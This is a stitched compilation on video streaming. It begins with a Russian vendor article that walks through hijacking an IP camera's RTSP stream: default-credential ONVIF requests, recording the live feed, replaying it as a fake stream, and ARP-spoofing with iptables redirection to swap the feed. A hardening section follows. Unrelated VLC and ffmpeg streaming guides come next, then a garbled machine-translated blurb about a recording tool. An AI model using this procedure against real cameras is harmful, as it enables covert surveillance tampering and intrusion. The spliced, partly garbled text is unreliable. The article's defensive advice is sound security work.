Поклонники фильма «Одиннадцать друзей Оушена» наверняка узнали кадр, который мы выбрали для иллюстрации этой статьи. Момент, когда крутые парни умело подменили аналоговый сигнал камер видеонаблюдения казино, засел в умы многих. Некоторые даже пытаются проворачивать подобное в реальной жизни.
Технологии изменились, сейчас аналогу предпочитают IP-камеры, способы взлома которых подробно будут рассмотрены далее.
Если ты не параноик, это ещё не значит, что за тобой не следят
Большинство людей, которые занимаются взломом, делают это ради развлечения или чтобы получить кусочек известности в интернете. Они используют известные всем «дыры» в системах обеспечения камер и выкладывают, на их взгляд, веселые видео на популярных интернет-ресурсах. YouTube просто кишит подобными видеороликами.
Мы же рассмотрим более серьезные последствия уязвимости, а именно когда взломщик никак не выдает себя и свое проникновение в систему. Такая атака обычно тщательно планируется заранее, за неделю, а то и за месяц до самого взлома.
Как и в нашем примере про «Одиннадцать друзей Оушена», речь пойдет о подмене потока в системах видеонаблюдения, только не аналогового, а цифрового сигнала, а именно RTSP-потока.
Так как вся информация в данной статье носит информационный характер и в первую очередь направлена на ликвидирование ошибок безопасности при построении системы видеонаблюдения, мы не рекомендуем использовать уязвимость, которая рассматривается далее. Именно поэтому взлом самой сети видеонаблюдения будет рассматриваться только поверхностно и описанные способы предполагают открытый доступ к сети предприятия или частного лица. Помните, что несанкционированный доступ к данным может преследоваться по закону.
Опыт нашей компании показывает, что тема очень актуальна, так как на этапе пусконаладки системы видеонаблюдения многие люди подключают камеры в свою систему по RTSP-ссылкам. Либо чтобы сэкономить время, либо по незнанию, либо от уверенности, что так и надо, многие даже не задумываются о том, чтобы сменить пароли или посмотреть, какие настройки безопасности поддерживает их камера.
К слову, RTSP (Real Time Streaming Protocol) — это протокол, который позволяет управлять потоковым видео в режиме реального времени. Нам надо знать о нем только то, что с помощью RTSP-ссылки мы будем забирать видеопоток с камеры.
Мы добрались, наконец, до практики, а именно к плану, по которому мы будем действовать:
1. Получение RTSP-ссылки для камеры, поток с которой мы хотим подменить.
2. Подготовка видеофайла для последующей трансляции.
3. Трансляция записанного файла.
4. Защита от вторичной подмены потока.
Получение RTSP URI потока
Для подмены сигнала с камеры сначала нужно найти видеопоток, который нам нужен. Для этого потребуется ссылка на него по протоколу RTSP. Камера обычно передает несколько изображений (с высоким и низким разрешением). Первый используется для записи, а второй – для трансляции на экранах видеонаблюдения. Минимальное разрешение (чаще всего 320 на 240 пикселей) позволяет снизить нагрузку на оборудование. Для каждого потока RTSP ссылка зачастую отличается одной цифрой в ключе.
У разных камер могут быть разные RTSP-ссылки, но общий вид примерно следующий:
rtsp://[логин: пароль@]ip-адрес:RTSP-порт[/ключ].
Расшифровка следующая:
- логин и пароль — те, что используются для доступа к камере (их может и не быть);
- если в ссылке указывается логин и пароль, то после них указывается символ @ для разделения авторизации и IP-адреса;
- RTSP-порт, по которому передаются команды управления потоковым видео, по умолчанию имеет значение 554;
- ключ — уникальная часть RTSP-ссылки, которая может меняться в зависимости от производителя и модели камеры, например:
/?user=admin&password=admin&channel=номер_канала&stream=номер_потока.sdp
/play1.sdp — вместо «1» указывается номер потока;
/live/ch00_0 00 — номер канала, 0 — номер потока;
/channel1 — вместо «1» указывается номер потока.
Как узнать RTSP-ссылку, не имея доступа к камере? Несколько простых способов:
1. Найти ссылку на сайте производителя камеры.
2. Поискать в интернете сайты, где приведены ссылки для разных моделей камер, пример таких сайтов тут и тут.
3. Скачать на сайте производителя руководство по эксплуатации и найти нужную информацию там.
Для случаев, когда ни один из простых способов не помог, существует немного более сложный. Здесь как минимум будет нужен доступ в сеть, где находится камера. Так как большинство современных камер поддерживает ONVIF, мы можем узнать RTSP-ссылку именно с помощью данного протокола.
Для этого нужно отправлять множественные запросы без авторизации или с авторизацией, стоящей на предполагаемой камере по умолчанию, например «admin:admin» или «admin:12345». К слову, на практике встречались камеры, у которых был выставлен и фильтр допустимых IP-адресов, и нестандартные логин и пароль, но из-за ошибок в прошивке при обращении по протоколу ONVIF ни авторизация, ни фильтр не проверялись.
Как получить желаемую ссылку на оба потока с камеры по протоколу ONVIF?
1. С помощью команды GetProfiles узнаем имя профиля, uri которого нам нужен
POST /onvif/media_service HTTP/1.1 Host: 192.168.1.77 User-Agent: gSOAP/2.8 Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetProfiles" Content-Length: 2120 Connection: keep-alive SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetProfiles" <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" . Пропускаем описание всего пространства имен. . xmlns:trt="http://www.onvif.org/ver10/media/wsdl"> <SOAP-ENV:Header></SOAP-ENV:Header> <SOAP-ENV:Body> <trt:GetProfiles/> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
2. В полученном длинном ответе находим строку с именем первого и второго профиля
HTTP/1.1 200 OK Server: gSOAP/2.8 Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetProfiles" Content-Length: 17405 Connection: close <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" . Пропускаем описание всего пространства имен. . xmlns:tns1="http://www.onvif.org/ver10/topics"> <SOAP-ENV:Header></SOAP-ENV:Header> <SOAP-ENV:Body> <trt:GetProfilesResponse> <trt:Profiles fixed="true" token="profile_cam1_stream1"> <tt:Name>profile_cam1_stream1</tt:Name> <tt:VideoSourceConfiguration token="videosource_config_cam1"> <tt:Name>videosource_config_cam1</tt:Name> . Пропускаем описание профиля. . </trt:Profiles> <trt:Profiles fixed="true" token="profile_cam1_stream2"> <tt:Name>profile_cam1_stream2</tt:Name> . Пропускаем описание второго профиля. . </trt:Profiles> . Третий профиль не рассматриваем. . </trt:GetProfilesResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope> - profile_cam1_stream1 — это название первого профиля на камере. - profile_cam1_stream2 — это название второго профиля на камере.
3. Теперь нужно запросить rtsp uri для этих профилей с помощью команды GetStreamUri, указав в поле ProfileToken нужный профиль
Пример для первого потока: POST /onvif/media_service HTTP/1.1 Host: 192.168.1.77 User-Agent: gSOAP/2.8 Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetStreamUri" Content-Length: 2479 Connection: keep-alive SOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetStreamUri" <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" . Пропускаем описание всего пространства имен. . xmlns:trt="http://www.onvif.org/ver10/media/wsdl"> <SOAP-ENV:Header></SOAP-ENV:Header> <SOAP-ENV:Body> <trt:GetStreamUri> <trt:StreamSetup xsi:type="tt:StreamSetup"> <tt:Stream xsi:type="tt:StreamType">RTP-Unicast</tt:Stream> <tt:Transport xsi:type="tt:Transport"> <tt:Protocol xsi:type="tt:TransportProtocol">UDP</tt:Protocol> </tt:Transport> </trt:StreamSetup> <trt:ProfileToken xsi:type="tt:ReferenceToken">profile_cam1_stream1</trt:ProfileToken> </trt:GetStreamUri> </SOAP-ENV:Body> </SOAP-ENV:Envelope> В ответ получаем нужную нам ссылку: HTTP/1.1 200 OK Server: gSOAP/2.8 Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetStreamUri" Content-Length: 3701 Connection: close <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope" . Пропускаем описание всего пространства имен. . xmlns:tns1="http://www.onvif.org/ver10/topics"> <SOAP-ENV:Header></SOAP-ENV:Header> <SOAP-ENV:Body> <trt:GetStreamUriResponse> <trt:MediaUri> <tt:Uri>rtsp://192.168.1.77:554/snl/live/1/1</tt:Uri> <tt:InvalidAfterConnect>false</tt:InvalidAfterConnect> <tt:InvalidAfterReboot>false</tt:InvalidAfterReboot> <tt:Timeout>PT0S</tt:Timeout> </trt:MediaUri> </trt:GetStreamUriResponse> </SOAP-ENV:Body> </SOAP-ENV:Envelope> То же делаем для второго потока и получаем ссылку: <tt:Uri>rtsp://192.168.1.77:554/snl/live/1/2</tt:Uri>
Запись RTSP-потока в файл
Когда мы получили нужные rtsp-ссылки, нужно записать видео, транслируемое ими, длительностью в несколько часов. Не стоит забывать о том, что в современных системах используется двухпоточность, поэтому нужно записывать одновременно оба потока.
Записать видеопоток по RTSP-протоколу можно с помощью различного программного обеспечения. Рассмотрим наиболее популярные из них: ffmpeg, gstreamer и vlc.
1. Запись потока через ffmpeg
$ man ffmpeg Нас интересует: – vcodec copy — копирование видео в файл; – acodec copy — копирование аудио в файл; – rtsp_transport tcp — выбор метода передачи потока; – r 25 — установка скорости кадров в секунду; – copyts — копирование timestamps; – start_at_zero — копирование timestamps начиная с 00:00:00:000 Подставляем нашу RTSP-ссылку и через copy указываем путь и название файла, в который будет идти запись %ffmpeg -i rtsp://192.168.1.77:554/snl/live/1/1 -copyts -start_at_zero -rtsp_transport tcp -r 25 -vcodec copy -acodec copy /home/line/example/1.avi
Запись в файл началась.
2. Запись через vlc
Ознакомиться с набором команд, которые нам предлагает vlc-медиаплеер можно с помощью команды $vlc –h. Нам интересны: – sout=#file{путь} — указываем на файл, в который хотим копировать видео; – rtsp-tcp — получение rtsp по tcp; – rtsp-frame-buffer-size=1000 — буфер, чтобы видео не рассыпалось при проигрывании; – h264-fps=25 — надстройка на 25 кадров. Подставляем наши данные и запускаем $cvlc rtsp://192.168.1.77:554/snl/live/1/1 --rtsp-tcp --rtsp-frame-buffer-size=1000 --h264-fps=25 :sout=#file{dst=/home/line/example/1.avi}. Откроется окно vlc и начнется запись, при закрытии окна запись остановится.
3. Запись через gstreamer
Информацию по работе с gstreamer можно найти <a href="https://gstreamer.freedesktop.org/documentation/plugins.html">тут</a>. – rtspsrc location="rtsp://192.168.1.91:554/cam/realmonitor?channel=1&subtype=0&unicast=true&proto=Onvif" — указываем RTSP-поток как источник данных. – rtph264depay — в RTSP видео идет небольшими кусками (rtp-пакетами), через rtph264depay мы будем получать видео с этих пакетиков. – h264parse — как видно из названия, парсим H.264 поток. – avimux — собираем поток в avi, можно также использовать mp4mux или matroskamux(mkv). – filesink location=1.avi — указываем файл, в который будет сохраняться видео. gst-launch-1.0 -v rtspsrc location="rtsp://192.168.1.91:554/cam/realmonitor?channel=1&subtype=0&unicast=true&proto=Onvif" ! rtph264depay ! h264parse ! mp4mux ! filesink location=1.mp4
Трансляция RTSP-потока из файла
Пришло время начать транслировать записанный файл в формате RTSP. Для этого воспользуемся все теми же программами, рассмотренными в разделе выше.
1. Для трансляции видеопотока с камеры с помощью ffmpeg необходимо использовать ffserver. Его описание можно найти здесь. Для того чтобы задать параметры трансляции, необходимо заполнить файл ffserver.conf.
ffserver
Файл ffserver.conf RTSPPort — задаем номер rtsp-порта, по которому будет идти вещание. <Stream snl/live/1/1> — после Stream задаем нужный ключ. Format rtp — формат передачи. File "/home/line/example/1.avi" - rtsp_transport tcp — указываем путь к файлу, который необходимо передавать, и ключ для передачи по tcp. NoAudio — не передаем звук. Файл ffserver.conf RTSPPort 554 <Stream snl/live/1/1> Format rtp File "/home/line/example/1.avi" -rtsp_transport tcp NoAudio </Stream> Далее запускаем %ffserver -f ffserver.conf.
2. Теперь воспользуемся vlc-медиаплеером. Несмотря на то что это самый простой способ, к сожалению, vlc может транслировать поток только по протоколу UDP.
vlc-медиаплеер
Команда для запуска rtsp-потока: – sout=#rtp{sdp=rtsp://192.168.1.232:554/snl/live/1/1} — задаем ссылку, по которой будет происходить трансляция. – repeat — при необходимости ставим повторное воспроизведение видеофайла. vlc /home/line/example/1.avi --sout=#rtp{sdp=rtsp://192.168.1.232:554/snl/live/1/1} —repeat
3. Наконец, с помощью gst-server.
gst-server
Для начала его нужно установить. $ sudo apt-get install gstreamer1.0 $ wget https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-1.8.3.tar.xz /gst-rtsp-server-1.8.3$ sudo apt install gtk-doc-tools /gst-rtsp-server-1.8.3$ sudo apt-get install libgstreamer-plugins-base1.0-dev /gst-rtsp-server-1.8.3$ make Теперь мы можем изменить файл /gst-rtsp-server-1.8.3/examples/test-launch.c Тут можно поменять RTSP-порт, который используется по умолчанию #define DEFAULT_RTSP_PORT "8554" и ключ в ссылке gst_rtsp_mount_points_add_factory (mounts, "/test", factory). После подставления наших значений сделаем make. Теперь запустим файл test-launch с ключами. – rtspsrc location="/home/line/example/1.avi" — путь к файлу, который будем воспроизводить. – H264 Encoder — кодировать в h.264. – rtph264pay name=pay0 pt=96 — делим наш поток на части. $~/gst-rtsp-server-1.8.3/examples$ ./test-launch "( rtspsrc location="/home/line/example/1.avi" ! x264enc ! rtph264pay name=pay0 pt=96 )"
Записанный файл транслируем в формате RTSP, после чего решаем задачу по выводу камеры из строя. Ниже несколько вариантов, которые различаются в зависимости от объекта, который мы хотим атаковать. На самом деле способов намного больше, рассмотрим только самые основные. Первое, что нам необходимо, — это попасть в нужную нам сеть.
Если объект большой территориально, то зачастую есть возможность подойти к некоторым камерам физически и даже попробовать найти коммутационное оборудование, к которому подключена камера.
Если объект небольшой, то можно попробовать войти в сеть через wi-fi и просканировать ее с помощью nmap, например.
Также, если к камере есть физический доступ, можно с помощью одноплатника произвести взлом в несколько этапов:
1) включить запись wireshark;
2) кратковременно отключить провод от камеры и подключить его в одноплатник;
3) вернуть кабель на место;
4) изучить полученные логи.
Или если есть доступ в сеть, можно воспользоваться классическим методом подмены:
– с помощью arpspoof встать между камерой и сервером;
– с помощью ip_forward переадресовывать запросы с сервера видеонаблюдения на IP-камеру, и наоборот;
– с помощью iptables переадресовывать все запросы по RTSP-порту на сервер видеонаблюдения не с камеры, а с нашей машины.
Защита камер видеонаблюдения от взлома
Чтобы защититься от подмены потока по процедуре, описанной выше, можно использовать несколько способов:
1. Интегрирование камер
Наибольшую защиту дает интеграция камеры в программный продукт. Проверить, интегрирована ли ваша камера с системой видеонаблюдения «Линия», можно тут.
Если вашей камеры или производителя не оказалось в списке, можно обратиться в техническую поддержку с просьбой интегрировать используемую вами модель IP-камеры.
2. Обновление прошивки
Необходимо постоянно поддерживать прошивку камер в актуальном состоянии, так как с помощью обновлений разработчики исправляют различные уязвимости и тем самым повышают стабильность работы камер.
3. Смена стандартных логинов и паролей
Первое, что сделает злоумышленник, — это попробует использовать стандартный логин и пароль камеры. Они указаны в инструкциях по эксплуатации, так что найти их не составит труда. Поэтому всегда используйте уникальные логин и пароль.
4. Включение обязательной авторизации
Данная функция присутствует во многих современных камерах, но, к сожалению, не все пользователи о ней знают. Если отключить эту опцию, то камера не будет запрашивать авторизацию при подключении к ней, что сделает ее уязвимой для взлома. Стоит отметить, что встречаются камеры с двойной авторизацией для http-доступа и для доступа по протоколу ONVIF. Также в некоторых камерах существует отдельная настройка для запроса авторизации при подключении по прямой RTSP-ссылке.
5. Фильтр IP-адреса
Если камера поддерживает функцию так называемого белого списка, то лучше ей не пренебрегать. С ее помощью определяется IP-адрес, с которого можно подключаться к камере. Это должен быть адрес сервера, к которому подключается камера и, если необходимо, второй IP-адрес рабочего места, с которого производится настройка. Но это не самый надежный метод, так как злоумышленник при подмене устройства может использовать тот же IP-адрес. Поэтому лучше всего использовать данную опцию вместе с остальными рекомендациями.
6. Защита сети
Необходимо правильно настраивать коммутирующее оборудование. Сейчас большинство коммутаторов поддерживают защиту от arp spoofing — обязательно используйте это.
7. Разделение сети
На данный пункт стоит обратить особое внимание, так как это играет большую роль в безопасности вашей системы. Разделение сети предприятия и сети видеонаблюдения обезопасит вас от злоумышленников или даже от собственных сотрудников, которые имеют доступ в общую сеть и хотят вас взломать.
8. Включение OSD-меню
Необходимо включать OSD-меню с текущим временем и датой на камере, чтобы всегда можно было проверить актуальность изображения. Это хороший способ защиты именно от замены видеоряда, так как OSD накладывается на все видео, идущее с определенной камеры. Даже когда злоумышленник запишет RTSP-поток, подмена будет заметна благодаря данным, которые все равно останутся на видеокадрах.
К сожалению, многие злоумышленники научились быстро отыскивать и пользоваться в своих интересах уязвимостями в системах IP-видеонаблюдения. Чтобы обезопасить сеть, обязательно нужно ознакомиться со способами защиты, описанными в данной статье. Уделите достаточное количество времени пусконаладке системы и в особенности корректной настройке всех ее компонентов. Так вы сможете обеспечить сети максимальную безопасность от взломов.
В заключение предлагаем вам поделиться в комментариях, как бы вы подошли к защите своей сети видеонаблюдения от взлома? Какие методы атак вы считаете наиболее опасными?
Автор: Девлайн
Источник
Introduction |
---|
Streaming, Muxers and Codecs |
Main |
Easy Streaming |
Advanced Streaming Using the Command Line |
Command Line Examples |
VLM |
VLM — Multiple Streaming and Video on Demand |
Tutorials and examples |
Receive and Save a Stream |
Convert files to other formats |
Stream a File |
Stream a DVD |
Stream a DVB Channel |
Stream from Encoding Cards and Other Capture Devices |
Stream from a DV Camcorder |
Streaming for the iPhone |
IPv6 |
Streaming over IPv6 |
View this alone |
Contents
- 1 Receive a stream with VLC
- 1.1 Receive an unicast stream
- 1.2 Receive a multicast stream
- 1.3 Receive an HTTP/FTP/MMS stream
- 1.4 Receive a RTP stream available through RTSP
- 1.5 Receive a stream described by an SDP file
- 2 Save a stream with VLC
- 3 Receive a stream with a set-top-box
Receive a stream with VLC
Receive an unicast stream
% vlc -vvv rtp://
Receive a multicast stream
% vlc -vvv rtp://@239.255.12.42
where 239.255.12.42 is the multicast IP address you want to join.
Receive an HTTP/FTP/MMS stream
Use one of the following command lines:
% vlc -vvv http://example/stream.xyz
where http://example/stream.xyz is the HTTP address of the stream;
% vlc -vvv ftp://example/stream.xyz
where ftp://example/stream.xyz is the FTP address of the stream;
% vlc -vvv mms://viptvr.yacast.fr/encoderfranceinfo
where mms://viptvr.yacast.fr/encoderfranceinfo is the MMS address of the stream.
Receive a RTP stream available through RTSP
% vlc -vvv rtsp://www.hardradio.com/tonbeme.mov
where rtsp://www.hardradio.com/tonbeme.mov is the address of the stream.
Receive a stream described by an SDP file
% vlc -vvv http://server.example.org/stream.sdp
Save a stream with VLC
VLC can save the stream to the disk. In order to do this, use the Stream Output of VLC: you can do it via the graphical interface (Media [menu] → streaming) or use the record button, or you can add to the command line the following argument:
--sout file/muxer:stream.xyz
where:
- muxer is one of the formats supported by VLC’s stream output, i.e. :
- ogg for OGG format,
- ps MPEG2-PS format,
- ts for MPEG2-TS format.
- and stream.xyz is the name of the file you want to save the stream to, with the right extension.
For example:
vlc your_input_file_or_stream_here --sout=file/ps:go.mpg
This is short hand for the more verbose
vlc your_input_file_or_stream_here --sout="#std{access=file,mux=ps,dst=go.mpg}"
NB that you must choose a muxer that supports your stream type. See Transcode#Compatibility_issues
It can also be quite helpful to look at the settings VLC uses when it records using its record button. For example, in the logs you might see something like this:
…: Using record output `std{access=file,mux=’ps’,dst=’C:vlc-record-2010__E-.mpg’}’
Which gives you a hint/clue as to how to record your current stream. In this case this would translate into —sout «#std{access=file… on the command line.
Receive a stream with a set-top-box
Some set-top-boxes with Ethernet cards can receive MPEG2-TS streams over UDP and support multicast.
Set-top-boxes known to work with VLC are:
- Pace set top boxes. (Pace Micro DSL 4000)
- Aminocom set top boxes. (all the models with mpeg2)
- tuxia / gct-allwell (mpeg4 and mpeg2) sigma designs8174 chipset
- i3micro mood200 (mpeg4 and mpeg2 in transport streams)
- ps3 media server streams using VLC (or mencoder) to the PS3
Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
I think the understanding of this streaming media is the audio and video files we see, and then it is a kind of processing of audio and video streaming media compression, recording, editing and other operations that are transmitted through the Internet. FFmpeg is relatively powerful to achieve these functions.
FFmpeg release and record RTMP stream
First briefly understand RTMP:
It is the most common real-time live stream in live broadcasting. For a detailed introduction and description, I found an article and took a lookView
Because live RTMP does not appear, we can record it through FFmpeg, which means that it can be recorded as long as there is an RTMP address, which is still very convenient.
RTMP parameter introduction
- rtmp_app: RTMP stream publishing point
- rtmp_buffer: Client buffer size (unit: mm), default is 3 seconds
- rtmp_conn: Add custom AMF data to the RTMP Connect command
- rtmp_flashver: set the version number of the simulated flashplugin
- rtmp_live: Specify the RTMP streaming media playback type (any: live or on-demand live: live: recorded: on-demand)
- rtmp_pageurl: the URL of the web page where it is played
- rtmp_playpath: RTMP stream playback Stream address
- rtmp_subscribe: live stream name, default is the value of rtmp_playpath
- rtmp_swfhash: SHA256 hash value after decompressing swf file
- rtmp_swfsize: the size of the swf file after decompression
- rtmp_swfurl: swfURL player RRL set in the RTMP Connect command
- rtmp_swfverify: Set the URL address of the swf file during swf authentication
- rtmp_tcurl: tcURL target publishing point address set in the RTMP Connect command
- rtmp_listen: port to listen to when opening RTMP service
- listen: same as rtmp_listen
- timeout: timeout time set when listening to rtmp port
rtmp_app
Example of setting push streaming publishing point through rtmp_app and recording live video:
ffmpeg -rtmp_app live -i rtmp://live.hkstv.hk.lxdns.com/live/hks -c copy -f flv output.flv
Sample release stream:
ffmpeg -re -i input.mp4 -c copy -f flv -rtmp_app live rtmp://publish.chinaffmpeg.com
This will cause an error:
Server error: identify stream failed.This will set the parameters described below
If we want a streaming server here, we can push up the local mp4 file. There was an article on building a streaming server before.View
rtmp_playpath
Add this parameter to push the stream:
ffmpeg -re -i input.mp4 -c copy -f flv -rtmp_app live -rtmp_playpath class rtmp://publish.chinaffmpeg.com
The above streaming address of rtmp is the address on the top of the book I saw. We can also change it to our own by building a streaming server locally.
succeeded after execution.
Now keep our live stream
ffmpeg -rtmp_app live -rtmp_playpath class -i rtmp://publish.chinaffmpeg.com -c copy -f flv output.flv
Push stream and pull stream We configured two parameters rtmp_app and rtmp_playpath There is a simple way to avoid writing these two parameters, set in the rtmp address
Push stream:
ffmpeg -i input.mp4 -c copy -f flv rtmp://publish.chinaffmpeg.com/live/class
Laliu:
ffmpeg -i rtmp://publish.chinaffmpeg.com/live/class -c copy -f flv output.flv
FFmpeg recording RTSP stream
By commandffmpeg -h demuxer=RTSP
View the configuration parameters related to the RTSP protocol.
Record RTSP stream by TCP
ffmpeg -rtsp_transport tcp -i rtsp://xxx -c copy -f mp4 output.mp4
FFmpeg recording HTTP stream
HTTP streaming media servers are also very common. We see how to pull this stream
ffmpeg -ss 30 -seekable 0 -i http://xxx -c copy output.mp4
After the command is executed, seekable is set to 0, then the parameter ss of FFmpeg specifies the seek time position. And will always be blocked. If you set seekable to 1, you can perform seek operations on the HTTP service through FFmpeg, and there will be no exceptions
FFmpeg records and publishes UDP/TCP streams
FFmpeg not only supports high-level protocols such as RTMP and HTTP, but also supports TCP and UDP protocols at the bottom.
TCP use
- TCP listening to accept streams
ffmpeg -listen 1 -f flv -i tcp://xxx -c copy -f flv output.flv
- TCP request publishing stream
ffmpeg -re -i input.mp4 -c copy -f flv tcp://xxx
- Listening port timeout listen_timeout
Exit after more than 5 seconds of monitoring
ffmpeg -listen_timeout 5000 -listen 1 -f flv -i tcp://xxx -c copy -f flv output.flv
- TCP pull flow timeout parameters
ffmpeg -timeout 20000000 -i tcp://xxx -c copy -f flv output.flv
- TCP transmission buffer size setting send_buffer_size/recv_buffer_size
The smaller the buffer setting, the more frequent the transmission and the greater the network overhead
ffmpeg -re -i input.mp4 -c copy -send_buffer_size 265 -f flv tcp://xxx
- Bind local UDP port localport
When using FFmpeg’s UDP to transmit data, the system will assign the local port by default, and the local port can be set to listen when using the localport parameter
ffmpeg -re -i input.mp4 -c copy -localport 23456 -f flv udp://xxx
FFmpeg pushes multiple streams
Early FFmpeg did not support the output of multiple live streams after encoding once when transcoding live streams. It needs to be output by pipeline. The new version now supports tee file encapsulation and protocol output. You can use tee for multiple stream output
Multi-channel output by pipeline
ffmpeg -i input -acodec acc -vcodec libx264 -f flv - | ffmpeg -f mpegts -i -c copy output1 -c copy output2 -c copy output3
The above audio encoding is acc, the video encoding is libx264, the output format is FLV, and then the output is passed to another ffmpeg command through the pipeline to copy the codec to achieve one encoding multiple output
ffmpeg -i input.mp4 -vcodec libx264 -acodec acc -f flv - | ffmpeg -f flv -i - -c copy -f flv rtmp://xxx -c copy -f flv rtmp://xxx
After execution, the RTMP server contains two live streams.
Output multiple streams in tee package format
ffmpeg -re -i input.mp4 -vcodec libx264 -acodec aac -map 0 -f tee "[f=flv] rtmp://xxx | [f=flv] rtmp://xxx
After the command is executed, it encodes and outputs the tee encapsulation format once, which contains two RTMP streams in FLV format.
tee protocol output multiple streams
After FFmpeg 3.1.3, it supports the tee protocol to output multiple streams.
ffmpeg -re -i input.mp4 -vcodec libx264 -acodec aac -f flv "tee:rtmp://xxx|rtmp://xxx"
This command seems to be simpler than the above.
FFmpeg generates HDS stream
By commandffmpeg -h muxer=hds
You can view the parameters of HDS
The window_size parameter controls the file list size
ffmpeg -i input -c copy -f hds -window_size 4 output
The extra_window_size parameter controls the number of files
window_size controls the size of the file list, extra_window_size can control the number of remaining files
ffmpeg -re -i input.mp4 -c copy -f hds -window_size 4 -extra_window_size 1 output
FFmpeg generates DASH stream
In addition to HLS and HDS, there is a more popular way of listing is DASH live broadcasting. Via command lineffmpeg -h muxer=dash
View some parameters of dash
Example of use:
ffmpeg -re -i input.mp4 -c:v copy -acodec copy -f dash -window_size 4 -extra_window_size 5 index.mpd
After the execution, a file index list index.mpd will be generated. The file list length is 4 slice lengths, and 5 slices will be reserved outside the slices. There are 9 audio slices and 9 video slices, including 2 initialization information slices and 1 index file.
Write the file in the slice list to a file with the parameter single_file
ffmpeg -re -i input.mp4 -c:v copy -acodec copy -f dash -window_size 4 -extra_window_size 5 -single_file 1 index.mpd
After the execution is completed, an index file, an audio file, and a video file are generated.
Предыдущая статья представляет клиент RTSP, разработанный QuickGblink «Открытый исходный клиент C ++ RTSP«Реализуйте функцию получения потоков RTP через TCP, но в мониторинге LAN, многие времена RTSP-сервер и клиент передаются с помощью режима UDP, поскольку эффективность передачи UDP относительно высокая, а внутренняя скорость потери пакета сети также сопоставима низкая. Эта статья мы вводим еще один способ получить RTSP Streams:Благодаря компоненту протокола RTSP FFMPEG для завершения приема RTSP поток RTSP, этот подход поддерживает как UDP, также поддерживает потоки Media TCP передачи TCP и поддерживает различные форматы видео и аудио форматов RTP, которые являются более всеобъемлющими.
Использование API FFMPEG получает RTSP, не сложняется, вызывая интерфейс Package API высоты, пользователь может легко управлять RTSP из соединения, получает процесс отключения. Интерфейс FFMPEG блокирует детали анализа и приема базового сетевого протокола, позволяя пользователям сосредоточиться на реализации верхней бизнес-логики, значительно повышают эффективность разработки пользователей, связанных с носителями сетевых потоков. FFMPEG поддерживает потоки Demux, полученные от сети, то есть разделенные видео ES и AUDIO ES, а затем дальнейшее разделение заднего вида инкапсулируется капсулированием компонентов MUX и выводит представление и аудиопоток в контейнер для файлов (MP4 / TS / MKV / AVI, и т. д.) Чтобы реализовать функцию файлов записи.
В дополнение к поддержке RTSP, FFMPEG также реализует поддержку RTMP, протокола HLS, а используемый интерфейс является последовательным, что значительно облегчает интеграцию и поддержку программистов к различным функциям протокола.
Инструмент, который мы разработали, будут использовать FFMPEG для получения RTSP, RTMP, HLS и используют его функцию MOX для реализации записи файлов (MP4).
Здесь я только подчеркиваю проблему, то есть FFMPEG открывает поток для прохождения в URL. Этот URL является сетевым адресом, поддерживаемым встроенным компонентом сети FFMPEG, такой как RTSP, RTMP, HLS, эти три протокола, которые у нас есть измеряется. Поддерживается. Ниже приведен пример каждого формата URL протокола:
HLS: http://vfile.grtn.cn/2017/1486/0464/6433/148604646433.ssm/148604646433.m3u8
RTSP: rtsp://admin:[email protected]/stream1
RTMP: rtmp://192.168.0.100/ffmpeg
Как использовать этот инструмент? Просто измените адрес URL в файле конфигурации, затем откройте программное обеспечение, выберите Файл в меню — «Запустите задачу, задача начинает выполнять. Записанные файлы Сохранить к файлу файла файлов, указанного в файле конфигурации.
Github Скачать Адрес:
https://github.com/QuickGBLink88/StreamRecorder